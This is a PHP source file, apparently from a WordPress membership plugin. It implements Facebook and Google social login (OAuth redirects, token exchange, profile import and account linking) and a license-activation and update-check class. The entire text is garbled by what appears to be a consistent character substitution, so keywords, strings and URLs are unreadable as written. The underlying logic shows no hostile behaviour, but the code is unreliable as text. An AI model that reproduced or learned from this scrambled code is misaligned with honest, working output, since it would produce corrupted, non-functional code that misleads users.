SnrDxFu_lnBo[QplrmUAxonm_sFtBQplrmU], QplrmUuFnmsFtBQplrmU =QzmU SnrDxFu_lnBo[QplrmUuFnm_sFtBQplrmU], SnBmmxsz_lnBo =QzmU SnrDxFu_lnBo[QplrmUxCQplrmU] )U SDrtquBmB = StBtEBozBsxln-QzmUtrCBu-QzmUDrtquBmB#Btq(SmBtq_lnBo-QzmU7c, SrkBojoxmB)U } BunBxA (Sjq_lnBo = StBtEBozBsxln-QzmUtrCBu-QzmUlnBo$BFoDy(SnBmmxsz_lnBo, SnrDxFu_lnBo[QplrmUxCQplrmU])) { xA (VxnnBm(Sjq_lnBo-QzmU7c) || Vxn_sltBoxD(Sjq_lnBo-QzmU7c)) { oBmlos AFunBU } xA (SplBoh == QplrmUtBtEBozBsxln_oBzxnmBoQplrmU) { SuBkBu = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBuaort8Fny(SyFny)U StBtEBozBsxln-QzmUtrCBu-QzmUFCC(Sjq_lnBo-QzmU7c, SuBkBu-QzmU7c)U xA (DlooBsm_lnBo_DFs(QplrmUFCtxsxnmoFmroQplrmU)) { jq_oBCxoBDm(StBtEBozBsxln-QzmUFCtxs-QzmUmFE4xsv(QplrmUtBtEBonQplrmU))U CxB()U } BunB { Smyxn-QzmUurzxs(Sjq_lnBo)U } oBmlosU } BunB { Smyxn-QzmUurzxs(Sjq_lnBo)U } } BunBxA ((SnrDxFu_lnBo[QplrmUkBoxAxBCQplrmU] == molB) QFtqUQFtqU (Sjq_lnBo = zBm_lnBo_Eh(QTPMGUBtFxuQTPMGU, SnrDxFu_lnBo[QplrmUBtFxuQplrmU]))) { xA (SBixnmxsz;nBo = StBtEBozBsxln-QzmUtrCBu-QzmUlnBo$BFoDy(SnBmmxsz_lnBo, SnrDxFu_lnBo[QplrmUxCQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUlnBo$Bmmxsz(Sjq_lnBo-QzmU7c, SnBmmxsz_lnBo, sluu)U } StBtEBozBsxln-QzmUtrCBu-QzmUlnBo$Bmmxsz(Sjq_lnBo-QzmU7c, SnBmmxsz_lnBo, SnrDxFu_lnBo[QplrmUxCQplrmU])U xA (SplBoh == QplrmUtBtEBozBsxln_oBzxnmBoQplrmU) { SuBkBu = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBuaort8Fny(SyFny)U StBtEBozBsxln-QzmUtrCBu-QzmUFCC(Sjq_lnBo-QzmU7c, SuBkBu-QzmU7c)U xA (DlooBsm_lnBo_DFs(QplrmUFCtxsxnmoFmroQplrmU)) { jq_oBCxoBDm(StBtEBozBsxln-QzmUFCtxs-QzmUmFE4xsv(QplrmUtBtEBonQplrmU))U CxB()U } BunB { Smyxn-QzmUurzxs(Sjq_lnBo)U } } BunB { Smyxn-QzmUurzxs(Sjq_lnBo)U } } BunB { xA (SplBoh == QplrmUtBtEBozBsxln_oBzxnmBoQplrmU) { SuBkBu = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBuaort8Fny(SyFny)U xA (SuBkBu QFtqUQFtqU xnnBm(SuBkBu-QzmU7c)) { Smyxn-QzmUoBzxnmBo(SnrDxFu_lnBo, SuBkBu-QzmU7c)U xA (DlooBsm_lnBo_DFs(QplrmUFCtxsxnmoFmroQplrmU)) { jq_oBCxoBDm(StBtEBozBsxln-QzmUFCtxs-QzmUmFE4xsv(QplrmUtBtEBonQplrmU))U CxB()U } BunB { Smyxn-QzmUurzxs(Sjq_lnBo)U } } BunB { oBmlos sBj ?0_booro(QplrmUsruBkBuQplrmU, QplrmU3BtEBonyxq uBkBu CrBn srm Bixnm.QplrmU)U } } BunB { S_$b$$712[Smyxn-QzmUnulz_nBnnxrs] = SnrDxFu_lnBo[QplrmUxCQplrmU]U SoBCxoBDm = yrtB_lou(QplrmUjq-urzxs.qyqWQplrmU.SplBoh.QplrmU=QplrmU.Smyxn-QzmUnulz_DrssBDm)U yBFCBo(QplrmU4rDFmxrs: QplrmU.SoBCxoBDm)U CxB()U } } } qlEuxD AlsDmxrs urzxs_nrDxFu() { xA (VxnnBm(S_9b#[QplrmUtBtEBozBsxln_urzxsQplrmU])) { oBmlosU } xA (S_9b#[QplrmUtBtEBozBsxln_urzxsQplrmU] == Smyxn-QzmUnulz) { Smyxn-QzmUoBplBnm()U oBmlosU } xA (S_9b#[QplrmUtBtEBozBsxln_urzxsQplrmU] == Smyxn-QzmUnulz_DFuuEFDv) { Smyxn-QzmUDFuuEFDv()U oBmlosU } } qlEuxD AlsDmxrs oBzxnmBo_nrDxFu() { xA (VxnnBm(S_9b#[QplrmUtBtEBozBsxln_oBzxnmBoQplrmU])) { oBmlosU } xA (S_9b#[QplrmUtBtEBozBsxln_oBzxnmBoQplrmU] == Smyxn-QzmUnulz) { Smyxn-QzmUBooro = Smyxn-QzmUoBplBnm(QplrmUtBtEBozBsxln_oBzxnmBoQplrmU)U oBmlosU } xA (S_9b#[QplrmUtBtEBozBsxln_oBzxnmBoQplrmU] == Smyxn-QzmUnulz_DFuuEFDv) { Smyxn-QzmUBooro = Smyxn-QzmUDFuuEFDv(QplrmUtBtEBozBsxln_oBzxnmBoQplrmU)U oBmlosU } } qlEuxD AlsDmxrs Elmmrs(SmBim=sluu, Slou=sluu) { xA (SmBim == sluu) { SmBim = Smyxn-QzmUuFEBu_urzxsU } xA (Slou == sluu) { Slou = yrtB_lou(QplrmUjq-urzxs.qyqWtBtEBozBsxln_urzxs=QplrmU.Smyxn-QzmUnulz)U } oBmlos QTPMGUQumUF xC=QplrmUtBtEBozBsxln_nrDxFuQplrmU yoBA=QplrmUQTPMGU.ymtuBsmxmxBn(Slou).QTPMGUQplrmU sFtB=QplrmUtBtEBozBsxln_urzxs_QTPMGU.Smyxn-QzmUnulz.QTPMGUQplrmU DuFnn=QplrmUElmmrs Elmmrs-qoxtFoh Elmmrs-uFozBQplrmU nmhuB=QplrmUCxnquFh:EurDvU jxCmy:OPP%U tFi-jxCmy:MPPqiU tFozxs-mrq:OPqiU mBim-Fuxzs:DBsmBoU EFDvzorlsC-Druro: QTPMGU.Smyxn-QzmUDruro.QTPMGUU EroCBo:srsB VxtqromFsmU Druro: TAAAU mBim-CBDroFmxrs: srsBU mBim-nyFCrj:P P P VxtqromFsmU Eri-nyFCrj:P P P V xtqromFsmU EroCBo-oFCxln: MqiU Dlonro:qrxsmBoU kBomxDFu-Fuxzs: txCCuBU yBxzym: MPqiU uxsB-yBxzym: NHqiU qFCCxsz: P ONqi NqiU tFozxs-Ermmrt:KqiUQplrmU rsDuxDv=QplrmUw&lBoh(\QTPMGUTlnBo_urzxs, TlnBo_qFnn, ToBtBtEBotB, Tjq_nlEtxm, TtBtEBozBsxln_lnBosFtB, TtBtEBozBsxln_AxonmsFtB, TtBtEBozBsxln_uFnmsFtB, TtBtEBozBsxln_BtFxu, TtBtEBozBsxln_qFnnjroCO, TtBtEBozBsxln_qFnnjroCN\QTPMGU).Fmmo(\QTPMGUCxnFEuBC\QTPMGU, molB)UQplrmUQzmUQumUnqFs DuFnn=QplrmUCFnyxDrsn QTPMGU.Smyxn-QzmUCFnyxDrs.QTPMGUQplrmU nmhuB=QplrmUjxCmy:LPqiU yBxzym:LPqiU Arsm-nxgB:MPqiUQplrmUQzmUQumU/nqFsQzmU QTPMGU.ymtuBsmxmxBn(SmBim).QTPMGUQumU/FQzmUQTPMGUU } qlEuxD AlsDmxrs urzxs_Arot_Ermmrt(SElAABo) { xA (VSmyxn-QzmUoBFCh) { oBmlos SElAABoU } oBmlos SElAABo.Smyxn-QzmUElmmrs()U } AlsDmxrs urzxs_nFkB(SlnBo_urzxs, Sjq_lnBo) { zurEFu StBtEBozBsxlnU xA (VxnnBm(S_$b$$712[Smyxn-QzmUnulz_nBnnxrs]) || Vxn_sltBoxD(S_$b$$712[Smyxn-QzmUnulz_nBnnxrs])) { oBmlosU } SlnBo_xC = S_$b$$712[Smyxn-QzmUnulz_nBnnxrs]U StBtEBozBsxln-QzmUtrCBu-QzmUlnBo$Bmmxsz(Sjq_lnBo-QzmU7c, Smyxn-QzmUnBmmxsz_lnBo, SlnBo_xC)U lsnBm(S_$b$$712[Smyxn-QzmUnulz_nBnnxrs])U } qlEuxD AlsDmxrs urzxs_Arot() { zurEFu StBtEBozBsxlnU xA (xnnBm(S_9b#[QplrmUtBtEBozBsxln_urzxsQplrmU]) QFtqUQFtqU VxnnBm(S_9b#[QplrmUDrCBQplrmU])) { oBmlosU } xA (VSmyxn-QzmUoBFCh) { oBmlosU } BDyr Smyxn-QzmUElmmrs()U WQzmUY      Y      QumUnDoxqm mhqB=QplrmUmBim/wFkFnDoxqmQplrmUQzmUY      QumUV--Y      w&lBoh(AlsDmxrs() {Y         w&lBoh(QplrmUTtBtEBozBsxln_nrDxFuQplrmU).xsnBomfAmBo(QplrmUTjq-nlEtxmQplrmU)UY      })UY      // --QzmUY      QumU/nDoxqmQzmUY      QumUWqyqY } qlEuxD AlsDmxrs urzxs_tBnnFzB() { xA (VxnnBm(S_9b#[QplrmUtBtEBozBsxln_urzxsQplrmU])) { oBmlosU } xA (S_9b#[QplrmUtBtEBozBsxln_urzxsQplrmU] V= Smyxn-QzmUnulz_DrssBDm) { oBmlosU } BDyr QTPMGUQumUq DuFnn=QplrmUtBnnFzBQplrmUQzmU#yxn xn myB Axonm mxtB hrl FoB urzzxsz xs jxmy hrlo QTPMGU.Smyxn-QzmUsFtB.QTPMGU FDDrlsm. drsmxslB urzzxsz xs jxmy hrlo Bixnmxsz FDDrlsm mr DrsmxslB.QumU/qQzmUQTPMGUU } qlEuxD AlsDmxrs oBzxnmoFmxrs() { xA (VSmyxn-QzmUoBFCh) { oBmlosU } jq_BsplBlB_nmhuB(QTPMGUCFnyxDrsnQTPMGU)U SzBm = S_9b#U SuBkBu = vBh(SzBm)U FooFh_nyxAm(SzBm)U SnrDxFu4xsv = QplrmUWQplrmU.SuBkBu.QplrmUQFtqUtBtEBozBsxln_oBzxnmBo=QplrmU.Smyxn-QzmUnulzU BDyr QTPMGUQumUq Fuxzs=QplrmUDBsmBoQplrmUQzmUQTPMGU.Smyxn-QzmUElmmrs(Smyxn-QzmUuFEBu_oBzxnmBo, SnrDxFu4xsv).QTPMGUQumU/qQzmUQTPMGUU xA (xn_jq_Booro(Smyxn-QzmUBooro)) { BDyr QTPMGUQumUEurDvplrmB DuFnn=QplrmUBooroQplrmUQzmUQTPMGU.ymtuBsmxmxBn(Smyxn-QzmUBooro-QzmUzBm_Booro_tBnnFzB()).QTPMGUQumU/EurDvplrmBQzmUQTPMGUU } } } DuFnn 3BtEBo9Bsxln$rDxFu8FsCuBoaFDBErrv BimBsCn 3BtEBo9Bsxln$rDxFu8FsCuBo { kFo Snulz = QplrmUAFDBErrvQplrmUU kFo SsFtB = QplrmUaFDBErrvQplrmUU kFo SCFnyxDrs = QplrmUCFnyxDrsn-AFDBErrvQplrmUU kFo SDruro = QplrmUTMDKFGGQplrmUU qlEuxD AlsDmxrs urzxs_nDoxqmn() { zurEFu StBtEBozBsxlnU xA (VStBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_AFDBErrv_BsFEuBCQplrmU) || VStBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_AFDBErrv_FqqQplrmU) || VStBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_AFDBErrv_nBDoBmQplrmU)) { oBmlosU } WQzmUY      QumUnDoxqmQzmUY         jxsCrj.AEfnhsD7sxm = AlsDmxrs() {Y            ae.xsxm({Y               Fqq7C: QTPMGUQumUWqyq BDyr StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_AFDBErrv_FqqQplrmU)U WQzmUQTPMGU,Y               DrrvxB: molB, iAEtu: molB, kBonxrs: QTPMGUkN.NQTPMGUY            })UY         }UY         // 4rFC myB $c5 FnhsDyorsrlnuhY         (AlsDmxrs(C, n, xC) {Y            kFo wn, Awn = C.zBmbuBtBsmneh#Fz2FtB(n)[P]UY            xA (C.zBmbuBtBsmeh7C(xC)) oBmlosUY            wn = C.DoBFmBbuBtBsm(n)U wn.xC = xCUY            wn.noD = QplrmU//DrssBDm.AFDBErrv.sBm/Bs_;$/nCv.wnQplrmUUY            Awn.qFoBsm2rCB.xsnBomeBAroB(wn, Awn)UY         }(CrDltBsm, QTPMGUnDoxqmQTPMGU, QTPMGUAFDBErrv-wnnCvQTPMGU))UY      QumU/nDoxqmQzmUQumUWqyqY } qlEuxD AlsDmxrs oBplBnm(SplBoh=QplrmUtBtEBozBsxln_urzxsQplrmU) { @BimoFDm(qFoBsm::oBplBnm(SplBoh))U S_$b$$712[QTPMGUnmFmBQTPMGU] = tCK(lsxpxC(oFsC(), #	;b))U SCxFurz_lou = QplrmUymmqn://jjj.AFDBErrv.Drt/CxFurz/rFlmyWDuxBsm_xC=QplrmU . SmrvBs . QplrmUQFtqUoBCxoBDm_lox=QplrmU . oFjlouBsDrCB(Slou) . QplrmUQFtqUnmFmB=QplrmU . S_$b$$712[QTPMGUnmFmBQTPMGU] . QplrmUQFtqUnDrqB=BtFxuQplrmUU yBFCBo(QplrmU4rDFmxrs: SCxFurz_louQplrmU)U CxB()U } qlEuxD AlsDmxrs DFuuEFDv(SplBoh=QplrmUtBtEBozBsxln_urzxsQplrmU) { zurEFu StBtEBozBsxlnU xA (S_	b&;b$#[QTPMGUnmFmBQTPMGU] V= S_$b$$712[QTPMGUnmFmBQTPMGU]) { CxB(QplrmU>$$QplrmU)U } SDrCB = S_	b&;b$#[QTPMGUDrCBQTPMGU]U Slou = yrtB_lou(QplrmUjq-urzxs.qyqWQplrmU.SplBoh.QplrmU=AFDBErrv_DFuuEFDvQplrmU)U xA (SplBoh == QplrmUtBtEBozBsxln_oBzxnmBoQplrmU) { oBnBm(S_9b#)U xA (xnnBm(S_$b$$712[QplrmUtBtEBozBsxln_yFnyQplrmU])) { SyFny = nmoxqnuFnyBn(S_$b$$712[QplrmUtBtEBozBsxln_yFnyQplrmU])U lsnBm(S_$b$$712[QplrmUtBtEBozBsxln_yFnyQplrmU])U } BunB { SyFny = EFnBsFtB(vBh(S_9b#))U } Slou = StBtEBozBsxln-QzmUtrCBu-QzmUnxzslq;	4(SyFny, molB).QTPMGUQFtqUQTPMGU.SplBoh.QTPMGU=AFDBErrv_DFuuEFDvQTPMGUU } SmrvBs_lou = QplrmUymmqn://zoFqy.AFDBErrv.Drt/rFlmy/FDDBnn_mrvBsWQplrmU . QplrmUDuxBsm_xC=QplrmU . StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_AFDBErrv_FqqQplrmU) . QplrmUQFtqUoBCxoBDm_lox=QplrmU . louBsDrCB(Slou) . QplrmUQFtqUDuxBsm_nBDoBm=QplrmU . StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_AFDBErrv_nBDoBmQplrmU) . QplrmUQFtqUDrCB=QplrmU . SDrCBU SoBnqrsnB = @AxuB_zBm_DrsmBsmn(SmrvBs_lou)U SqFoFtn = FooFh()U qFonB_nmo(SoBnqrsnB, SqFoFtn)U SzoFqy_lou = QplrmUymmqn://zoFqy.AFDBErrv.Drt/tBWFDDBnn_mrvBs=QplrmU . SqFoFtn[QTPMGUFDDBnn_mrvBsQTPMGU] . QTPMGUQFtqUAxBuCn=QTPMGU.louBsDrCB(QTPMGUxC,BtFxu,sFtB,Axonm_sFtB,uFnm_sFtB,qxDmloB,kBoxAxBCQTPMGU)U Swnrs_DrsmBsmn = @AxuB_zBm_DrsmBsmn(SzoFqy_lou)U SnrDxFu_rlmqlm = wnrs_CBDrCB(Swnrs_DrsmBsmn)U SnrDxFu_lnBo = FooFh( QplrmUxCQplrmU =QzmU SnrDxFu_rlmqlm-QzmUxC, QplrmUBtFxuQplrmU =QzmU SnrDxFu_rlmqlm-QzmUBtFxu, QplrmUlnBosFtBQplrmU =QzmU SnrDxFu_rlmqlm-QzmUsFtB, QplrmUAxonm_sFtBQplrmU =QzmU SnrDxFu_rlmqlm-QzmUAxonm_sFtB, QplrmUuFnm_sFtBQplrmU =QzmU SnrDxFu_rlmqlm-QzmUuFnm_sFtB, QplrmUqyrmrQplrmU =QzmU SnrDxFu_rlmqlm-QzmUqxDmloB-QzmUCFmF-QzmUlou, QplrmUkBoxAxBCQplrmU =QzmU (SnrDxFu_rlmqlm-QzmUkBoxAxBC==QplrmUmolBQplrmU) )U qFoBsm::qorDBnn(SnrDxFu_lnBo, Smyxn-QzmUnBmmxsz_lnBo, SplBoh)U } } DuFnn 3BtEBo9Bsxln$rDxFu8FsCuBo9rrzuB BimBsCn 3BtEBo9Bsxln$rDxFu8FsCuBo { kFo Snulz = QplrmUzrrzuBQplrmUU kFo SsFtB = QplrmU9rrzuBQplrmUU kFo SCFnyxDrs = QplrmUCFnyxDrsn-zrrzuBqulnQplrmUU kFo SDruro = QplrmUTcdLbLOQplrmUU qlEuxD AlsDmxrs oBplBnm(SplBoh=QplrmUtBtEBozBsxln_urzxsQplrmU) { zurEFu StBtEBozBsxlnU @nBnnxrs_nmFom()U BimoFDm(qFoBsm::oBplBnm(SplBoh))U S_$b$$712[QTPMGUnmFmBQTPMGU] = tCK(lsxpxC(oFsC(), #	;b))U xA (SuBkBu QFtqUQFtqU SplBoh == QplrmUtBtEBozBsxln_oBzxnmBoQplrmU) { S_$b$$712[QTPMGUtBtEBozBsxln_yFnyQTPMGU] = SuBkBuU } SFqq = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_zrrzuB_FqqQplrmU)U SnBDoBm = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_zrrzuB_nBDoBmQplrmU)U SnDrqB = QplrmUBtFxuQplrmUU SoBCxoBDm = yrtB_lou(QplrmUjq-urzxs.qyqWQplrmU.SplBoh.QplrmU=zrrzuB_DFuuEFDvQplrmU)U SkBoxAh = QplrmUymmqn://FDDrlsmn.zrrzuB.Drt/r/rFlmyN/FlmyWoBnqrsnB_mhqB=DrCBQFtqUDuxBsm_xC=QplrmU.oFjlouBsDrCB(SFqq).QplrmUQFtqUoBCxoBDm_lox=QplrmU.louBsDrCB(SoBCxoBDm).QplrmUQFtqUnDrqB=QplrmU.oFjlouBsDrCB(SnDrqB).QplrmUQFtqUnmFmB=mrvBsQFtqUFDDBnn_mhqB=rAAuxsBQplrmUU jq_oBCxoBDm(SkBoxAh)U CxB()U } qlEuxD AlsDmxrs DFuuEFDv(SplBoh=QplrmUtBtEBozBsxln_urzxsQplrmU) { zurEFu StBtEBozBsxlnU xA (VxnnBm(S_9b#[QplrmUDrCBQplrmU])) { oBmlosU } SDrCB = nmoxqnuFnyBn(S_9b#[QplrmUDrCBQplrmU])U SFqq = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_zrrzuB_FqqQplrmU)U SnBDoBm = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_zrrzuB_nBDoBmQplrmU)U SoBCxoBDm = yrtB_lou(QplrmUjq-urzxs.qyqWQplrmU.SplBoh.QplrmU=zrrzuB_DFuuEFDvQplrmU)U SmrvBserCh = FooFh( QplrmUDrCBQplrmU =QzmU SDrCB, QplrmUDuxBsm_xCQplrmU =QzmU SFqq, QplrmUDuxBsm_nBDoBmQplrmU =QzmU SnBDoBm, QplrmUoBCxoBDm_loxQplrmU =QzmU SoBCxoBDm, QplrmUzoFsm_mhqBQplrmU =QzmU QplrmUFlmyroxgFmxrs_DrCBQplrmU, )U SmrvBs;	4 = QplrmUymmqn://jjj.zrrzuBFqxn.Drt/rFlmyN/kL/mrvBsQplrmUU SmrvBs0rnm = jq_oBtrmB_qrnm(SmrvBs;	4, FooFh(QplrmUErChQplrmU =QzmU SmrvBserCh, QplrmUymmqkBonxrsQplrmU =QzmU QplrmUO.PQplrmU))U SmrvBs	Bnlum = wnrs_CBDrCB(jq_oBtrmB_oBmoxBkB_ErCh(SmrvBs0rnm))U xA (VxnnBm(SmrvBs	Bnlum-QzmUFDDBnn_mrvBs)) { CxB(QplrmU2r mrvBsQplrmU)U } SFDDBnn_mrvBs = SmrvBs	Bnlum-QzmUFDDBnn_mrvBsU Slou = QplrmUymmqn://jjj.zrrzuBFqxn.Drt/quln/kO/qBrquB/tBQplrmUU SyBFCBon = FooFh(QplrmUflmyroxgFmxrsQplrmU =QzmU QplrmUeBFoBo QplrmU.SFDDBnn_mrvBs, QplrmUFDDBqm-BsDrCxszQplrmU =QzmU QplrmUzgxqUp=P,CBAuFmB,nCDyQplrmU)U Sqrnm = jq_oBtrmB_zBm(Slou, FooFh(QplrmUyBFCBonQplrmU =QzmU SyBFCBon, QplrmUErChQplrmU =QzmU FooFh(), QplrmUymmqkBonxrsQplrmU =QzmU QplrmUO.PQplrmU))U xA (xn_jq_Booro(Sqrnm) || jq_oBtrmB_oBmoxBkB_oBnqrsnB_DrCB(Sqrnm) V= NPP) { oBmlos sluuU } SnrDxFu_rlmqlm = wnrs_CBDrCB(jq_oBtrmB_oBmoxBkB_ErCh(Sqrnm))U SnrDxFu_lnBo = FooFh( QplrmUxCQplrmU =QzmU SnrDxFu_rlmqlm-QzmUxC, QplrmUBtFxuQplrmU =QzmU SnrDxFu_rlmqlm-QzmUBtFxun[P]-QzmUkFulB, QplrmUlnBosFtBQplrmU =QzmU SnrDxFu_rlmqlm-QzmUCxnquFh2FtB, QplrmUAxonm_sFtBQplrmU =QzmU SnrDxFu_rlmqlm-QzmUsFtB-QzmUzxkBs2FtB, QplrmUuFnm_sFtBQplrmU =QzmU SnrDxFu_rlmqlm-QzmUsFtB-QzmUAFtxuh2FtB, QplrmUqyrmrQplrmU =QzmU SnrDxFu_rlmqlm-QzmUxtFzBn-QzmUlou, QplrmUkBoxAxBCQplrmU =QzmU (SnrDxFu_rlmqlm-QzmUkBoxAxBC==QplrmUmolBQplrmU) )U qFoBsm::qorDBnn(SnrDxFu_lnBo, Smyxn-QzmUnBmmxsz_lnBo, SplBoh)U } } DuFnn 3BtEBo9BsxlnfDmxkFmxrs { qlEuxD SDFuuU qoxkFmB SlumtFmBU qlEuxD SvBhU qlEuxD SBtFxuU qlEuxD SAluu;	4U qlEuxD SnulzU qlEuxD SkBonxrsU qoxkFmB SqorClDm2FtBU qoxkFmB SlqzoFCB;	4U qoxkFmB SvBh;	4U qoxkFmB SlouU qoxkFmB SnFumU qoxkFmB SCEnU qoxkFmB SnmFomU qoxkFmB SnmBqU qlEuxD SCBElzU AlsDmxrs __DrsnmolDm(SyrtB;	4, SqorClDm$ulz, SqorClDm2FtB, SuxDBsnB;	4=sluu) { Smyxn-QzmUCBElz = AFunBU Smyxn-QzmUlumxtFmB = AFunBU Smyxn-QzmUnulz = SqorClDm$ulzU Smyxn-QzmUDFuu = QplrmUQplrmUU xA (AlsDmxrs_Bixnmn(QplrmUDlooBsm_lnBo_DFsQplrmU) QFtqUQFtqU DlooBsm_lnBo_DFs(QplrmUtFsFzB_rqmxrsnQplrmU) QFtqUQFtqU xnnBm(S_01$#[Smyxn-QzmUnulz.QplrmU_CBFDmxkFmBQplrmU])) { Smyxn-QzmUCBFDmxkFmB()U } Smyxn-QzmUDFuu()U Smyxn-QzmUvBh = QplrmUQplrmUU Smyxn-QzmUBtFxu = QplrmUQplrmUU @uxnm(Smyxn-QzmUvBh, Smyxn-QzmUBtFxu) = Smyxn-QzmUnBmmxszn_zBm(QplrmUvBhQplrmU, QplrmUBtFxuQplrmU)U Smyxn-QzmUqorClDm2FtB = SqorClDm2FtBU Smyxn-QzmUlqzoFCB;	4 = SyrtB;	4U xA (SuxDBsnB;	4) { Smyxn-QzmUvBh;	4 = moFxuxsznuFnyxm(SuxDBsnB;	4).QplrmUuxDBsnB-vBhQplrmUU } BunB { Smyxn-QzmUvBh;	4 = moFxuxsznuFnyxm(Smyxn-QzmUlqzoFCB;	4).QplrmUuxDBsnB-vBhQplrmUU } Smyxn-QzmUAluu;	4 = moFxuxsznuFnyxm(Smyxn-QzmUlqzoFCB;	4).QTPMGUWjqCoxq=QTPMGU.louBsDrCB(Smyxn-QzmUBtFxu.QTPMGU|QTPMGU.Smyxn-QzmUvBh.QTPMGU|QTPMGU.Smyxn-QzmUnulz.QTPMGU|QTPMGU.CxosFtB(DrsnmFsm(QplrmU?0_d12#b2#_;	4QplrmU)))U xA (DuFnn_Bixnmn(QplrmU0ulzxs;qCFmBdyBDvBoQplrmU) QFtqUQFtqU Smyxn-QzmUvBh QFtqUQFtqU Smyxn-QzmUBtFxu) { SlqCFmBn = sBj 0ulzxs;qCFmBdyBDvBo(Smyxn-QzmUAluu;	4.QTPMGUQFtqUFDmxrs=lqCFmBQTPMGU, __a74b__, Smyxn-QzmUnulz)U } Smyxn-QzmUDFuu()U xA (VAlsDmxrs_Bixnmn( QTPMGUzBm_qulzxsnQTPMGU ) ) { oBplxoB_rsDB( fe$0f#8 . QTPMGUjq-FCtxs/xsDulCBn/qulzxs.qyqQTPMGU )U } Squlzxs_AruCBo = zBm_qulzxsn( QTPMGU/QTPMGU . qulzxs_EFnBsFtB( CxosFtB( __a74b__ ) ) )U Squlzxs_AxuB = EFnBsFtB( __a74b__)U Smyxn-QzmUkBonxrs = Squlzxs_AruCBo[Squlzxs_AxuB][QTPMGU!BonxrsQTPMGU]U Smyxn-QzmUnFum = QplrmUnAzKLACDLLzJNMqGQplrmUU Smyxn-QzmUCEn = Dyo(GN).Dyo(GN)U xA ((xnnBm(S_9b#[QplrmUFDmxkFmro-CBElzQplrmU]) || xnnBm(S_9b#[QplrmUFDmxkFmro_CBElzQplrmU]))) { Smyxn-QzmUCBElz = molBU } xA (AlsDmxrs_Bixnmn(QplrmUzBm_rqmxrsQplrmU) QFtqUQFtqU VCBAxsBC(QTPMGU?0_d12#b2#_;	4QTPMGU)) { CBAxsB(QTPMGU?0_d12#b2#_;	4QTPMGU, zBm_rqmxrs(QTPMGUnxmBlouQTPMGU) . QTPMGU/jq-DrsmBsmQTPMGU)U } xA (VSmyxn-QzmUlou) { xA (CBAxsBC(QplrmU?0_d12#b2#_;	4QplrmU)) { Smyxn-QzmUlou = DrsnmFsm(QplrmU?0_d12#b2#_;	4QplrmU) . QplrmU/qulzxsn/QplrmU . EFnBsFtB(CxosFtB(__a74b__))U } BunB { Smyxn-QzmUlou = __a74b__U } } } AlsDmxrs CBFDmxkFmxrs_Elmmrs() { BDyr QTPMGUQumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU sFtB=QplrmUQTPMGU.Smyxn-QzmUnulz.QTPMGU_CBFDmxkFmBQplrmU kFulB=QplrmUcBFDmxkFmB 4xDBsnB Aro #yxn $xmBQplrmU rsDuxDv=QplrmUoBmlos DrsAxot(\QTPMGUfoB hrl $;	b hrl jFsm mr CBFDmxkFmB hrlo uxDBsnB Aro myxn nxmBW\QTPMGU)UQplrmU /QzmUQTPMGUU } AlsDmxrs srmxDB() { xA (VxnnBm(S_9b#[QplrmUqFzBQplrmU])) { oBmlosU } xA (S_9b#[QplrmUqFzBQplrmU] V= qulzxs_EFnBsFtB(__a74b__)) { oBmlosU } SsBjBnm = Smyxn-QzmUDFuu()U SDlooBsm = Smyxn-QzmUkBonxrsU SlqCFmB;	4 = CxosFtB(DrsnmFsm(QplrmU?0_d12#b2#_;	4QplrmU)).QTPMGU/jq-FCtxs/lqCFmB-DroB.qyqQTPMGUU Smyxn-QzmUCBElz(SsBjBnm . QplrmU kn QplrmU . SDlooBsm . QplrmU = QplrmU . Smyxn-QzmUkBonxrs_DrtqFoB(SsBjBnm, SDlooBsm))U xA (Smyxn-QzmUkBonxrs_DrtqFoB(SsBjBnm, SDlooBsm) QumU= P) { oBmlosU } BDyr QTPMGUQumUCxk DuFnn=QplrmUlqCFmBCQplrmU nmhuB=QplrmUmBim-Fuxzs: DBsmBoU qFCCxsz: OPqiUQplrmUQzmUQTPMGUU BDyr QTPMGUQumUEQzmUQTPMGU.Smyxn-QzmUqorClDm2FtB . QTPMGU:QumU/EQzmU fs lqCFmB xn FkFxuFEuB. QTPMGUU BDyr QTPMGUQumUF yoBA=QplrmUQTPMGU . SlqCFmB;	4.QTPMGUQplrmU mFozBm=QplrmU_nBuAQplrmUQzmUduxDv yBoB mr lqCFmB mr kBonxrs QTPMGU.SsBjBnm.QTPMGU.QumU/FQzmUQTPMGUU BDyr QTPMGUQumU/CxkQzmUQTPMGUU } AlsDmxrs DrsAxot(Snmoxsz, SFDmxrs=QplrmUFDmxkFmBQplrmU) { xA (VxnnBm(Smyxn-QzmUnBmmxszn)) { Smyxn-QzmUnBmmxszn = zBm_rqmxrs(Smyxn-QzmUnulz)U } Snmoxsz = louCBDrCB(Snmoxsz)U @uxnm(SBtFxu, SvBh, SuBkBu, SnxmB) = BiqurCB(QplrmU|QplrmU, Snmoxsz)U SuBkBu = louCBDrCB(SuBkBu)U SEFs = zBm_rqmxrs(Smyxn-QzmUnulz.QplrmUEFsQplrmU)U xA (xn_FooFh(SEFs) QFtqUQFtqU Drlsm(SEFs) QzmU P QFtqUQFtqU xs_FooFh(SnxmB, SEFs)) { oBmlos QplrmUaf74bcQplrmUU } xA (VSBtFxu) { oBmlos QplrmUaf74bcQplrmUU } xA (Smyxn-QzmUvBh(SBtFxu) V= SvBh) { oBmlos QplrmUaf74bcQplrmUU } SxC = Smyxn-QzmUzBm_xC_Eh_BtFxu(SBtFxu)U xA (SxC QumU= P || xn_sltBoxD(SnxmB)) { oBmlos QplrmU;2521?2QplrmUU } SFDmxkFmxrsn = 